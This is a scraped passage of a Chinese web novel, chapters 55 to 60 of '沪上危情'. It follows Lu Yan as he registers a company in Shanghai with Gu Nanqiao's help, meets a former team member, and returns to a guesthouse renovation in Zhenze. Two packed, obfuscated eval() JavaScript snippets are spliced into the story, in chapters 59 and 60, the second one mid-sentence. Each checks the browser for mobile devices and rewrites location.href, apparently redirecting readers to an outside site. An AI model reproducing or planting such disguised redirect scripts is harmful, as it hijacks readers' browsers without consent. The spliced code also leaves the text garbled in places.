好死不死,冯小军偏偏在这时打来电话,问他‘什么时候回苏州’,语气中的倦意简直是他此刻内心的真实写照。 两个疲惫的人碰到一起,就能得到救赎吗? 不仅不会,还在一片混乱中想起了更让感到疲惫的杨嘉! No way!(不!!!) 挂掉电话,只觉得更烦躁了。 “陆先生,需要同步开通企业网银和单位结算卡吗?日后发工资、转账都会很方便。” 开户、税务登记一条龙服务极大地简化了流程,尽管如此,他也在柜台和这位年轻的工作人员耗了近两个小时。 此时,业务接近尾声,声音几乎有些激动。 “暂时不用。” “好的,陆先生。那么,请问您的营业执照正本带了吗?” 啊?! “......正在申请中。” 他心头一沉,隐隐意识到,这个‘陌生盲盒’里,恐怕并没有他期待的东西。 “不好意思,陆先生。办理对公账户开户必须查验营业执照原件......我看您不太熟悉流程,这边建议您找专业的代办机构会轻松很多哦!” “...” 上午去银行的路上,他还为过‘该带什么特产回苏州’而略感烦恼,当然,那时候收到苏棠告状的微信还觉得有点好笑。 此时从银行出来已经彻底笑不出来。 再睡五分钟:陆砚,你的朋友有点邪乎。我已经很收敛自己的魅力了,可她还是咬着我不放! 再睡五分钟:(截图)(截图)。 再睡五分钟:你看看,这位姐姐是去拉丁美洲留学的吗?太没有边界感了叭! 哦,原来是杨嘉‘骚扰’苏棠,苏棠骚扰他的剧本啊。 倘若自己的内心独白可以被看见,那么关于上面两个‘骚扰’的引号标注,便是其最直观的态度看法。 忽略消息,他打开微信公众号搜相关证件办理的知识——效率极低,但也能零零碎碎凑出点大概—— 两三天远远办不下来! ...... 苏棠一度被顾南乔瞥来的平淡眼神就吓得蔫吧,没想到奇怪大姐姐也是如此。 “我只是出来玩玩,想交个朋友......” “行啊,坐旁边来,姐姐陪你玩。” 杨嘉做梦也没想到会在偌大的上海遇见顾南乔。 不管别人怎么看,她是打心底里第一次如此讨厌一个外表美丽的女人。 让她们俩坐在同一桌?绝对不可能! 这次的誓言立得毫无例外、绝不动摇。 她像一阵风似的来了,又像一阵风似的匆匆离去,台上正在调音的苏棠默默看完这全程,悄悄咽了下口水,心中暗自决定,打死也不要和那个女人作对。 小主,这个章节后面还有哦,请点击下一页继续阅读,后面更精彩!吧台旁的小方桌上,阿乐陪在顾南乔身边,有一搭没一搭地聊着,看似闲适地消磨时间,实则并不意味着她手头没事—— 中君那边还有楼盘重建项目的估值分析细项等着一一复核。 原本打算加班处理的,谁知昨天明明说‘没空’的某人,今天突然又‘有空’了。 前后判若两人,大概率是被现实锤明白了。 想到这儿,嘴边不禁扬起一丝笑。 就像替丈夫缝补衣服时遥远的出神,这笑容是如此温婉,这温婉出现在性格锐利的顾南乔身上是如此引人遐想,阿乐一下就陷进去了。 在苏棠轻柔的背景乐中,他缓缓推过去一杯特调,语气体贴: “最近工作是不是挺忙的?尝尝这杯‘香草美人’,刚出的新品,口感清新不上头。” 顾南乔接过,浅尝一口,味道一般。 “挺好喝的,应该会有不少人愿意下班专程过来喝一杯。” 为什么人和人之间难以靠近? 你不知不觉陷入对方编织的幻想并为之心动时,又如何能隔着幻想,触碰到真实呢。 八点半左右,陆砚披着一身夜色推开破吉他的门,目光迅速扫过全场,最终定格顾南乔所在的位置。 他是带着明确的目的来的。 “嘿,”径直走向她,途中只朝苏棠和阿乐简单点头致意,脚步未停,“需要你帮忙。” 顾南乔等了近半小时,此时才彻底闲适下来,靠椅背,翘起腿,嘴角牵起微妙弧度: “可我还什么都不知道呢,陆总,这忙该怎么帮?” 男人没有迂回,直视着她的眼睛问:“吃饭了没?” “还没。” 闻言不再多话,只用一个干脆的眼神示意。 女人心领神会,拿起一旁的外套和手包,笑着站起身,默契到让人觉得,下一刻两人得挽着手出去才好。 喜欢沪上危情请大家收藏:()沪上危情更新速度全网最快。 第五十六章 亲爱的朋友 在麦当劳聊了差不多聊个两个半小时,晚上十一点,彼此手机上有共同的熟人发来消息,但都不予理会。 “这些事情不是一个人能办完的,我会帮你,可是你们没有财务负责人、没有租房合同,甚至营业执照都还要两天才下得来,这些问题都你了解了吗?” 陆砚有些尴尬,磕磕绊绊说:“我还以为就和之前那样,挂个证,接项目就行呢。” 刚开始顾南乔是倾听,面上少有的严肃,甚至中途还做了些笔记。 到后来,汉堡放凉了,陆砚讲完就轮到她讲,彼此绝不会打断对方发言,就像现在这样: “陆总~,你以为就办一个公司就行啦?听前面的意思......现在只能组起来一个大的空壳,整个项目承接以后是要拆分给各方协作的,你还得办个小公司,大的、牵头的是杨启文,小的、干活的才是你的。” 这话不难理解,通俗来说就是——大佬喊众人一起造车,有文臣有武将,不管这些班底是租的还是找的,自己只是其中一个小部分,做好自己的一亩三分地就好。 现在忙活的,其实全在帮杨老头跑腿,但之后好处肯定少不了。 灯光在她的鼻尖投下细致的阴影,顾南乔翻了翻笔记,接着说: “还有税务登记,‘增值税’、‘企业所得税’、‘城市维护建设税’......这些税种你目前一窍不通,之后操作不当可是要多交很多钱的。你了解了吗?” 不了解,完全不了解。 也只有专心谈正事的时候才会出现让人昏昏欲睡的长句子......陆砚头都大了。 此时新点的餐好了,他赶紧趁取餐的功夫消化内容——发现压根消化不掉。 这已经远远超出自己的能力范畴...... 午夜将至的麦当劳,灯光依旧明亮得有些过分,空气中弥漫着油炸食物的温暖香气和隐约的清洁剂味道。 这里人不少,背景音是其他桌的低语、餐盘碰撞的轻响。 陆砚穿过几排座椅,端着餐盘回来时,脸上已换上一副近乎讨好的笑容: “顾女士,您辛苦了。” 女人微微颔首,坦然接受这份殷勤,安静等着下文。 果不其然,他接着说: “顾姐,我短时间学不全,能不能教我下一步怎么做?” 两人隔着一张70cm的桌子、腿脚稍微伸长就会碰到对方的距离,目光交错。 顾南乔的目光里带着一丝探究和妩媚的调笑: “你就这么信我?不怕是在诓你?” 陆砚自然上道,拍胸脯保证:“必须的,完全的信任。” 心里还默默补了句:甚至连你的人也喜欢得不得了,只可惜,我的心早已属于杨灵。 松弛有度的正事还在继续,她语气平静而沉稳:“要时间,要钱,你师父给你多少钱?” 钱?事还没办,咱好意思跟老人家提钱吗? 顿时脸色一苦: “还没跟他提。” “那你现在自己还有多少?” “能动的......不到五千。” “什么?!” 顾南乔猝不及防瞪眼,狐疑打量过来,姿态活像在说‘你是不是在外面养了小三’? 尽管随着岁月的沉淀他已然不必像以前那样在乎面子,尽管他并未打算与眼前这个女人朝恋爱的方向发展,但...... 总得想办法挽回点尊严啊! “苏州的事垫了十万,差不多二十来天能回款......” “那你这五千块更得留着应急啊,”她蹙眉,“要不......还是先找你师父拿一点?” 终于,关系无比深厚的两人还是进入了现实中最俗气、也最绕不开的话题——金钱。 这部分的顾南乔对他来说是新鲜的,就像探险者开拓了新的地图。 喜悦吗?可偏偏不巧,这部分的自己处于尴尬位置。 陆砚摇头: “之后说不定还得找他拿几百万呢,你说我现在为几千块开口......合适吗......而且老洋房……” 说到老洋房,顾南乔理解了,无奈一叹,此刻才拿起汉堡微微垫吧一口: “好吧,看在你这么信任的份上......过几天我帮你去找个代办,先把公司搭起来。” “乔乔,那得多少钱?” “没事,就当是我借你的。” 陆砚沉默,其实他担心的是对方资金是否宽裕的问题。 对面坐的是谁? 曾经是几万块的包一周不重样、静安的家价值一个小目标的顾南乔,也是会掐着八点赶去山姆买打折食品的她。 现在,她吃着八块钱一份的薯条,眼都不眨地说要替他垫资,且丝毫不提及回报。 重重现实与过往交错下,对方给予的信任,已无需多言。 他深吸一口气,拿出手机,点亮屏幕,轻轻推过去。 “乔乔,其实......”陆砚声音低了下来,“我本来想悄悄转给你的。现在看,倒是冥冥中早有安排——这笔钱,合该到你手里。” 顾南乔顺着动作看去,咀嚼的动作渐渐停住,目光落到屏幕,眼眶倏地红了。 那是一条延迟转账的记录,金额一万五,收款人:顾南乔。 就像一个从来不过生日、久等礼物的孩子,突然收到了曾经随口一提的礼物: 以为自己会笑着道谢,可压抑已久的委屈跨过无数个没有回应、无人问津的夜晚,精准降临此刻。 她仿佛濒临嚎啕大哭的前一刻,仿佛下一刻就会起身靠过来——但最后只是极轻地扯动了下嘴角,用那蓄满水光的眼眸,将那几行字、翻来覆去好几遍。 陆砚面上漾着平静。 他懂,也见过太多次对方至诚至性的一面—— 正是这样的顾南乔,让他即便心系杨灵,仍无法抗拒地被吸引。 男人轻轻握住那只放在桌边的手,将一杯冰可乐塞进手里,然后举起自己那杯: “乔乔,我亲爱的朋友,快来为我们的第一次合作干杯呀!” 口吻恍如七岁那年,满怀欢喜地招呼邻居小孩出去野,语气带着憧憬和快乐,仅仅听见,便满心向往接下来的日子。 “陆砚,我亲爱的、朋友,干杯!” 两个纸杯撞在一起,握杯的两只手背相贴,似乎比紧紧相握更牢固。 喜欢沪上危情请大家收藏:()沪上危情更新速度全网最快。 第五十七章 工作态度 钟志诚作为一名颇具天赋的代办员,深谙‘没有业务就主动出击’的行业真理,同时,他还拥有许多老业务员早已透支殆尽的珍贵资本—— 身心健康。 没错,刚结束旅行的他,腰也不酸了,腿不疼了,整个人都通透舒畅。 虽然只在外玩了四天,可洗完澡照镜子时,分明觉得连皮肤都白嫩了几分——试问,以这样饱满的状态出击,拿什么输? 他轻车熟路地踱进建设银行大厅,目光似鹰隼扫视整个空间,迎面撞上视线的人往往碍于礼貌会立马避开视线,这无疑方便了观察...... 俗话说得好,‘她没看你的时候,你就可以看她的腿了’,不是吗? 心思电转之间,钟志诚已快速完成首轮筛选: 那边那个气定神闲东张西望的,是来蹭空调的;哟,角落那个假装看宣传折页的,居然是同行。 他几乎能精准识别出大厅里每一个人的真实意图。 当然,人群中更多的还是那些面带焦虑、眉头紧锁的人——不然来这儿干嘛? 代办、代办,虽说帮忙开张银行卡也算‘代办’,但谁会愿意花上千块钱请他们做这个? 因此,首先屏蔽掉那些满脸稚气的大学生,将更多注意力投向衣着稍显正式、气质沉稳、隐隐透着创业气息的目标人群。 至于为什么不直接去门口守着豪车找那些一看就实力雄厚的老板? 嗐,人家自有银行的客户经理接待,轮不到他凑热闹。 将一条条队伍中的女性快速扫视一遍,躁动的心才终于彻底老实下来,随后便将全部精力和耐心投入到第二轮、第三轮更细致的筛选。 正当锁定几个潜在目标、准备主动上前碰碰运气的时候,目光突然一凝—— ...... 有人帮忙是福气,但若把担子全甩给别人,那就太不像话了。 陆砚再次踏入银行大门,决心在自己力所能及的范围内再多做一点,好在第二天电子版营业执照就下来了—— 如今的效率真是快得惊人,哪像短视频里说的那样要跑断腿! 敞亮的大厅人来人往,鞋底踏在地砖上有一种颇为郑重的回响。昨天的小姐姐服务窗前排了长队,本着‘一事不烦二主’的原则,陆砚也加入进来。 同样的地点、同样的角色、同样的事情,就像游戏存档重开一样,今天定要过了这关! “嗨,兄弟!” 不用怀疑,就是叫他的——一位穿着略显紧绷的深蓝色西装、打一条亮黄色领带的年轻男人拍了拍他,正咧嘴笑着。 “我去,小黑?!” 对方咧着白牙一笑。 没跑了,这不是震泽镇讲野史的小黑还能是谁? “有道是人生何处不相逢,咱们相逢即是缘,你要代办吗?找我可以打折!” “...” 排队间隙,三言两语交谈中这才知道小黑代办机构的业务员。 甚至他自我介绍的时候没收着声,向前后左右几人打了道广告,就像那什么......社牛: “各位老板~走过路过莫错过!专业代办,证照无忧!省您时间,攒您精力,持证上岗,童叟无欺!” 确实专业,像卖‘银鳞胸甲’似的。 就凭这公共场合大声喧哗的勇气,将来在小学门口支个摊准能赚钱...... 哦,上海不能摆摊了,那没事了。 “黑子哥,你这不会是专门冲我来的吧?” 从震泽的偏僻民宿到上海众多银行,偏偏两人就可以点对点在同时段相遇,也太巧了。 “陆师傅,生命无时无刻不在发生奇迹。”小黑板着脸,眼里闪着真挚的泪光,“相遇不易,我愿意为这份缘分付费!” “......你要给我钱?” “是,也不是。”他凑过来压低声音,“我给你最大折扣,价值三千万!” 说完‘千万放心、千万开心、千万要想我’的恶臭烂梗后、还抛来个油腻的媚眼,仿佛在说,‘我愿意为缘分买单,现在该你表示啦’。 ......陆砚并不介意让熟人赚这笔钱,何况顾南乔也提过,会找代办帮忙。 见顾客有意动迹象,小黑立刻加大攻势: “别担心,咱们甚至可以分阶段付款,只要你把证件押我这儿就成。” “你不会拿我证件去撸贷款吧?” 其实他心情挺不错的,不然平时哪这么多废话。 闻言小黑脸一黑,唰地从兜里掏出自己的身份证递过来:“来来来,把我身份证你也拍一张,咱俩互相给对方办贷款!” 陆砚失笑,当场给顾南乔打了个电话确认,得到首肯后才放心签了代办合同,并建了一个三人群,把法务部长也拉了进来。 于是和昨天被折腾的半死截然不同的是,同样的地点、同样的角色、同样的事情,他提前出了银行大门,以一种代打的方式过了昨天那关。 代办的谈妥之后眼前仿佛一片明亮,只要,跟杨老头汇报一下、最后和老李吃个饭,好像就可以把事处理完了? 这章没有结束,请点击下一页继续阅读!...... 一直以来顾南乔的主要业务都偏向建筑工程相关的案件,这次被纳入烂尾楼重组项目团队、负责协助估值分析,也算专业领域内的延伸。 从小在顾明远身边耳濡目染,深知‘专业事交给专业人做’的道理,因此,纵使有些难以开口,她还是硬着头皮转向了邻桌的叶莉。 “所以我放着涉及金额二十亿的案子不做,来帮你处理开公司的事?” 当然没忘,这位虽是坐在自己旁边,可两人全然不是同事关系,若要强行定性此次行为,更像是下属支使领导去做事。 “叶姐,我是向你请教问题......公司法的实务操作我确实不熟悉,怕理解有偏差耽误正事......” “所以你放着涉及金额二十亿的案子不做,去帮别人处理公司的事?” 叶莉眉梢微吊,语气平淡,却透出一种罕见的严厉。 顾南乔立刻收敛了神色,意识此刻绝不能插科打诨。 “当然不是。刚才只是闲谈,我是想等工作之余抽时间了解,适当补充些知识。” “你觉得我很闲?还是你觉得自己以后会很闲?”叶莉的话像一把锋利的手术刀,精准地剖开了所有社交婉饰,“这两天下班你走得比谁都快。才坚持了几天?顾南乔,你才装几天就累了?” 话语尖锐得几乎刺人,即便在上下级关系中也属罕见——至少在律师这一行里是这样。 顾南乔明白对方是出于督促,可毕竟二十七岁了,忠言太逆耳,一时间脸上也有些挂不住...... 两人的工位实在太近了,近得就像偶然撞见同事在议论自己,不仅无法躲开,还得硬挤出微笑,假装什么也没发生。 她尴尬笑了笑,低头整理手头那份关于信托资金流向的初步复核报告,假装专注核对上面一串串数字——仿佛只要足够投入,就能忽略此刻近乎公开处刑的窘迫。 喜欢沪上危情请大家收藏:()沪上危情更新速度全网最快。 第五十八章 视角转换 午饭吃了近两个小时,多半时间都在向杨启文汇报公司筹备的进展。 不是两人有多着急—— 事实上,杨启文至今连一位‘大佬’都还没带他去见,全然看不出是想在两三个月内就把公司架子搭起来的急切模样。 主要是他定了下午四点的回程车票,加上初涉此类事务,陡然意识到自己几乎一窍不通,才沟通得频繁了些。 考试讲究临时抱佛脚,这不意味着临时抱佛脚就是堂皇大道——杨启文是这样讲的,意思是让他先自己琢磨,把各个事项摸清楚。 就像当初大学课堂布置作业一样,在老人眼里,装修民宿是轻松的、有空闲的,正好适合学习。 下午两点半,虹桥火车站旁的一家咖啡店里,陆砚几乎与老李同时赶到。 两人见面握手寒暄,还没落座,老李就张罗点了咖啡。 有道是‘展颜消宿怨、一笑泯恩仇’,他们之间没什么事情称得上宿怨,但陆砚的心情确是连日舒畅,脸上常常带笑。 这个中年汉子穿了件半旧的皮夹克,鬓角花白,搓了搓手,动作透着踏实与局促: “鞋子穿久了最舒服,外面转了一圈,还是老团队合得来。” 对方本是个木讷人,又是长辈,能说出一句略带讨好意味的话已是放了不少架子。 这姿态,可以说是客气,也可以说是认清现实。 远离行业的外行或许还不清楚,但早在十月份,杨老头曾断言过,‘上游已经暴雷,现在只是在苦苦支撑’。 如今,越来越多的业内人也察觉到了——行情是真的不好了。 行情不好的时候,世界就变得格外真实。 什么长辈晚辈、资历深浅,都是虚的;大家只认实事,只讲里子,顾不上面子。 “咱们确实合作几年了,”陆砚语气平稳,“你头一回中途撂下项目就走——可不,老洋房就出了岔子。” 闻言,老李面上顿时有些挂不住——自然不会以为是在夸他重要。 而整个上海滩,他的手艺也绝非不可替代。 老洋房那次......确实是中途离开得太突然,对方这话,是在责怪。 他下意识去摸烟盒,又猛地意识到这里禁烟,那只攥着烟盒的手拿也不是、收也不是,对面抛来的话,接也不是、过也不是,场面一度僵持。 陆砚看着对面中年男人花白的鬓角——与当初团队散伙时别无二致。 心中其实并无太多埋怨,只是眼见对方姿态放得低,便下意识顺应人性中那点微妙的掌控欲,顺势拿捏了一下。 一时爽快是有的,事后的道德压力也悄然浮现。 不是大环境实在差,老李的资历,何须对他低声下气? 人贵有自知之明,陆砚清楚,自己如今的势头,多半是靠运气。 “所以李叔,说到底,咱们是合则两利、分则两亏,对吧?” “哎,对对!是,是这个理儿!” 本以为合作无望的老李见对方突然递过台阶,眼中瞬间重燃希望,甚至开始怀疑刚才是不是自己多心了—— 陆砚一直是个厚道小伙,从来都是,不是吗? 恰逢服务员端上咖啡,方才那点微妙的紧张仿佛随之翻篇,陆砚端起杯子,语气变得轻快: “说实话,接到电话的时候我开心得不得了,李叔你的手艺别人不懂,我是知道的,别人或许要考察、压价,我这边是会直接给长合同的......” 日子总要向前看,人只有学会放下,才算真正拥抱未来。 直到此刻,陆砚猛然察觉自己看事情的视角已然不同。 本以为自己是出于大度,可方才那一瞬间,脑中清晰闪过的念头其实是,‘至少老李是持证老师傅,申请项目资质时,完全能顶一个名额。’ 笑着答应开年后就安排老李复工后,那位不善言辞的中年人、肩膀才微微向后、靠进了沙发椅背。 “李叔,你说巧不巧,你在苏州装修民宿,现在我也在折腾一个。不过我没有经验,你看看能不能指点一下呢?” 老李心里觉得,能开公司的人根本不会在意小钱,陆砚这么问,大概只是为了缓和气氛、给他个表现机会。 于是,说话磕绊的他知无不言地分享起来,话虽朴实,却句句都是干货: “买板材的时候……别光看店面展厅的样品,直接去他们仓库角落里翻翻,经常能找到一些轻微磕碰、但不影响用的‘处理品’,价格能砍一半以上。 五金件……别迷信大品牌,本地老五金批发市场的货,质量一点也不差,你只要说是‘工程长期拿货’,他们自然懂。 水电工排线的时候,递根烟,让线牵短一点......” 陆砚听得认真,收获不少。 心思松懈之下,不禁想到:难道搞瓦作的中年师傅都是一个模子刻出来的? 小区的老刘是这样,眼前的老李也是这样——手艺精道,都不善言辞,唯有提起经验之谈的时候才会滔滔不绝。 本小章还未完,请点击下一页继续阅读后面精彩内容!...... “什么?走了?!” 苏棠午觉醒来抓过手机一看,顿时惊得从床上坐起——网友面基,这就面完了?攒劲的节目呢?怎么一点波澜都没有? “怎么了糖糖?去了?” 微透光却总体漆黑的床帘里,苏棠蜷坐在被窝中,只有一双伸到床外的腿白得晃眼,她恍然回神—— 哦,是在宿舍。 “没事……”她含糊应道,“做了个噩梦……” “是那种容易‘尿床’的‘噩~梦’吗?”室友A笑嘻嘻地追问。 “好像是诶,哎呀,什么味道呀!”室友B笑得很荡漾,仿佛上辈子是个男人。 “...” 应付完玩笑后,她的手指瞬间爆发远超自己日常水平、直逼‘七猫二星作家’的手速,噼里啪啦地敲着屏幕发出质问—— 动车高速行驶,窗外的风景连成一片模糊的色块。 陆砚靠在椅背上,手机贴在耳边,杂音中,老陆的声音仿佛隔了一层薄膜: “今年......什么时候回来?” 他微微一怔,原来已经快十二月中旬了......可距离过年明明还有一个半月。 或许父母都是这样,早早开始准备,抑或只是单纯想找个由头打电话过来。 信号不稳,通话断断续续,像极了他与这个家之间时好时坏、若即若离的联系。 一股说不清的思念突然漫上心头,为弥补自己平日疏于问候的歉意,这次他格外耐心,陪着东拉西扯聊了许久。 直到...... “你表姐又要结婚了......就在年初,这次准不会出错。” 喜欢沪上危情请大家收藏:()沪上危情更新速度全网最快。 第五十九章 默默生长 张野以前吹牛时,曾给冯小军炫耀过手机里那些‘不吃香菜’的美女朋友圈...... 虽然一个个P得下巴能锄地,但好歹看着都挺年轻。 现在,冯小军严重怀疑那些‘香菜妹妹’的真实性——倒不是图片鉴赏能力突飞猛进,而是对张野的审美有了全新认知。 他有百分之九十五的把握,张野喜欢老板娘,甚至梦想成为这间民宿的男主人。 不然何至于如此境地?简直就对老板娘言听计从啊! “张哥,我当初以为你是个硬汉才跟你干的......就算学生会最坑的志愿活动,也没现在这么压榨人啊!” 张野乐呵呵地笑:“看不出来,你小子还挺热心肠。” 热心肠?没遇到你这个师傅自己顶多日行一善,现在跟着你,善行一整天! 他放下钉锤——别误会,钉锤是拿来修热水器的。 此时平静的面容翻涌着海浪,感觉自己脸颊上的肉快气得发抖: “我上次这么绝望还是乐事薯片加价不加量的时候,咱们现在就和薯片一样!” “哦,那你是什么味的薯片?” 张野自以为能接住对面的梗,还在秀着自己的幽默。 冯小军简直要崩溃:“我是什么味重要吗?!重点是咱们忙活这大半天到底图啥啊?!” 此时,门外隐约有动静。 他瞬间闭嘴。 脚步越来越近,越近,那脚步便越发轻巧,一听就不是老板娘。 果然,是沈语棠,穿月白色的夹袄,端两杯水走进来,声音轻轻柔柔: “小军哥,张哥......辛苦啦,喝点水。” “诶,诶,谢谢!” 冯小军立马迎上去接水,全然不知刚才的崩溃为何物,脸色变得比京剧演员还地道。 张野放下工具边道谢边向这边拢,见状,冯小军面容又严肃了些—— 大抵就像‘生气时被人逗笑,随后看到惹自己生气的人过来了,又连忙装作余愠未消的模样’。 这波,他觉得自己演得挺像的,换上西装打好领带,估摸着官威不小。 沈语棠送完水却没马上走,目光飘忽地打量房间,手贴衣服下摆,不经意问:“姆妈说快要准备晚饭了......陆师傅,他今天回吗?” 冯小军愣了愣,看向张野。 张野:“应该是今天回。” 苏棠点点头。 冯小军也跟着点点头,还顺势摸了摸自己压根不存在的胡子——仿佛一切尽在掌握。 ...... 南浦浜村的赵老汉这几天心里头不大痛快,主要堵着两件事: 一是,隔壁家刚满十八的六子从王师傅那接了点木雕的活,这活还是他第一手碰到的——上海来的陆师傅的订单。 要是自己当时不指路,兴许王师傅就接不到这订单,王师傅接不到,那六子也就没活干,合计下来自己该为头功; 二是,村里花钱请了摄影师拍照,说宣传当地的特色工艺,结果一个星期过去了,钱花了,一个响都没有。 要他说,还不如把这钱用来买鞭炮呢,放天上,大伙都能看见,看见的人多了,总归有过来下订单的。 从蔬菜大棚里钻出来,心里那股不忿劲儿还没散,忍不住朝地上啐了一口,摸出自己红盒软壳的方正货—— 这是新买的一包,里面可是大有讲究。 买一包讲究的烟,先倒出一半,用次一些的填进去,平时自己抽就拿出方正货来、抽次的,需要跟人打交道,就拿出方正货来、递好的。 如此,面子和生活都照顾全了。 他‘啪’一声点上烟,深深咂了两口,仿佛那一肚子的闷气也能随着烟雾一并飘到天上去。 “咳咳咳——” 一口吸猛了,粗哑的咳嗽散在十二月渐冷的田野。 ...... “又到该穿上秋裤的季节,气温冷淡,但看到你们我心就热了。” 陆砚带着一身好心情再度回到沈秀娥的民宿,相应的,一屋四个人也面上带笑过来招呼。 “陆哥,穿秋裤是衰弱的开始,我们年轻人从来不穿的。” 鹅城的百姓终于等来了新上任的县长,冯小军激动得恨不得上前抱一下。 “哦?语棠,你穿秋裤了没?” 这听起来像某个二流子打听小姑娘的裤子款式...... 换以前是万万不会发问的,而且人家母亲在场呢... ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16280814|177150||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ... 身正不怕影子斜! 沈语棠站在三步远的位置,巧笑嫣然,“陆哥,你饿不饿呀。” 好一个高情商悬崖勒马,陆砚一步跨过门槛,将包拧在手上大步流星进来,跟老板娘打招呼的间隙,张野已经把桑葚酒替他倒好,像个好客的本地人。 “陆哥,苏棠说你偷跑回来的,不是带伤来的吧?” “笑话,即使伤了桑葚酒不也疗伤嘛!” 从光影流转的国际化都市上海,到宁静朴素的震泽镇边缘;从载歌载舞的喧闹小酒馆,到紧邻田埂的静谧民宿…… 两种截然不同的场景与人群在他眼前交错叠化。 刚冒出的一点不适立马被豪情冲淡,就像一颗被撒在无人角落的种子,反而更沉默、也更坚定地想要生长。 陆砚端起酒杯,决定把氛围搞起来—— “来,倒酒,先敬老板娘一个,大桌子菜一个做,辛苦了。” “有道理!”冯小军应和。 “有道理就满杯!” 张野积极给稍微没满杯的年轻人添酒、灶房里沈秀娥抬手掀帘之际,沈语棠意外插了句: “陆哥,做菜我也帮忙了。” 桌上几道目光瞬间聚焦在她身上。她下意识地移开视线,又鼓足勇气转回来,望向陆砚。 那是一双怎样的眼睛呢? 大概就像养熟了的兔子、突然蹦出来逗你一下,小白兔是那样怯生生的开心。 小姑娘想要得到关注是吧,随你的愿~ “哎,别急,你就坐我旁边,待会跑不掉的。” 陆砚讲完,张野利落拿出新的杯子给小姑娘添上紫红的、喜庆的接风酒。 ...... 席间,沈语棠悄悄跑去把自己杯里的酒倒给了老板娘,对旁边的陆砚小声解释,‘晚上还要给你上课’—— 若别的女孩这样说,难免引人遐想,可从她口中说出,言辞认真得让人不忍心往别处想。 所以此时他来了,微微擦干头上晚上八点半的水珠,抬眼看,沈语棠已经在门口织机坐等着了。 以前她从来不会主动找,这次看来是有备而来啊。 陆砚笑了笑,缓步上前,才发现——她在掺瞌睡。 第六十章 魔鬼的低语 昨天课没上成他便查收了一下这几天的工作成色——拆改与基础施工已经完成,接下来就是出效果的阶段,像什么工艺品、吊顶和铺砖。 简而言之,就像花钱出力修城市地标一样的工程。 旅客们最吃这套,不是吗? 陆砚吃着牙膏牙刷如往常用思考来唤醒大脑,不同往常那样的则是,此时的大脑过于欢脱,一会想工作,一会想和工作相关的,最后大头拐到小头,想到了工作相关的女人...... 自从住了‘通铺’后,语棠也不来帮忙收拾了,现在是一水的由老板娘操持。 没去管二重奏的师徒俩,他先一步推开房门,一打眼就看见了灶房内的雾都母女。 “早啊老板娘,我现在闻烟就知道是什么早餐了。” 沈秀娥不用抬眼也可以同于语速、语气让人感受到热情:“哎呀小陆啊,鼻子灵的男孩子都聪明!” “沈姐,要是遇到鼻子不灵的客人怎么说?” 隔着一道门,里面的人像有腹稿似地脱口:“那哪是鼻子不灵啊,那叫钝感力!” 嘿,老板娘还晓得这个词。 很快沈语棠端着一个托盘、托盘上两碗面,两人对坐开始吃早餐。 只不过吃早餐前,她先摊开手心,小声问道:“陆哥,这是你给我的吗?” 手心躺着一枚黄杨木打磨的小梭子,食指长短,表面光滑温润,尾部还细致地雕成了一枚含苞的玉兰形状——杨老头家顺来的。 “是的。” 陆砚觉得自己选礼物越发得心应手。 苏棠是你不说她也会自己要,沈语棠是你不送她绝不会开口,所以面对不同的人他有不同的做法。 同时还需记得,对不同的人不要送同一件东西,不然迟早暴雷。 “......昨天怎么不叫醒我。” 她没有道谢,脸却红了半边,殊不知,这含羞带怯的模样,远比道谢来得真挚动人。 陆砚接着逗她:“昨天叫醒你了,今天还起得来?” 她看过来,身子正对着、头却偏了过去,小声辩解道:“起得来的。” 随后小姑娘去镇上学艺,张野冯小军也起来吃了头汤面的下一锅。 是的,就是这样一个平平无奇的早晨,却标志着陆砚团队终于稳稳赶上了预定进度—— 在整整二十五天的忙碌后,整个震泽之行的结束,已然望得见尽头,仅剩最后十来天的工期。 在此之前...... “老板娘,之前发的几套效果图,选定哪套了没?” 左边是大口吃面的两人,沈秀娥一阵风似的走动,后在右边指着一张张图片说: “这个新中式风格的月亮门洞我挺中意的!还有这张侘寂风的微水泥墙面也和我们家般配...... 哎,陆师傅,我琢磨好了,就想要新中式的韵味,侘寂风的质感,最好再融入一点青砖元素!” “...” 杨老头认为装修是高中生做加减法,此时陆砚真想告诉他,没那么简单。 这哪是加减法?分明是有加减符号的微积分计算题! 扑面而来的菜市场挑拣既视感是怎么回事? 就好比买白菜,您光挑最嫩的菜心,外面的老叶子全指望老板留着? 理论上不是不能做,可问题在于预算早就锁死,超出的部分,都得从自个儿腰包里掏啊! 他努力保持礼貌微笑,语气不容商量: “做不到的。你最好从中选一个,就一个风格,我们保证做出效果。” 没想到沈秀娥此时格外强势: “陆师傅,装修的是我自己的房子,我总得挑自己顺眼的来吧? 你们工程结束了一走了之,我可是要在这里住上十几年、二十年的呀。面对一个不喜欢的装修,忍得了一时,还能忍一辈子吗......” 女人的逻辑是‘实用主义’的——意思就是,凡觉着对自己有用的道理,便统统拿来据理力争,全然不考虑大局和自身诉求的合理性。 沈秀娥的要求合理吗? 一旁吃面的两人此时瞪大了眼睛、连‘滋溜’声都小了! 正当陆砚头皮发麻之际,门外忽然传来一阵清晰的货车倒车声—— “嘀——嘀——” 陈禹承诺的那车仿古砖,送到了。 ...... 随着十二月笼罩,图书馆里的考研人也越发沉默。 即 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16283977|177150||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 便名校拥有不少保研名额,但分摊到茫茫学子之中,也不过是杯水车薪。 好在苏棠选择的是考公这条路——比起考研党,她好歹还多出几个月的准备时间。 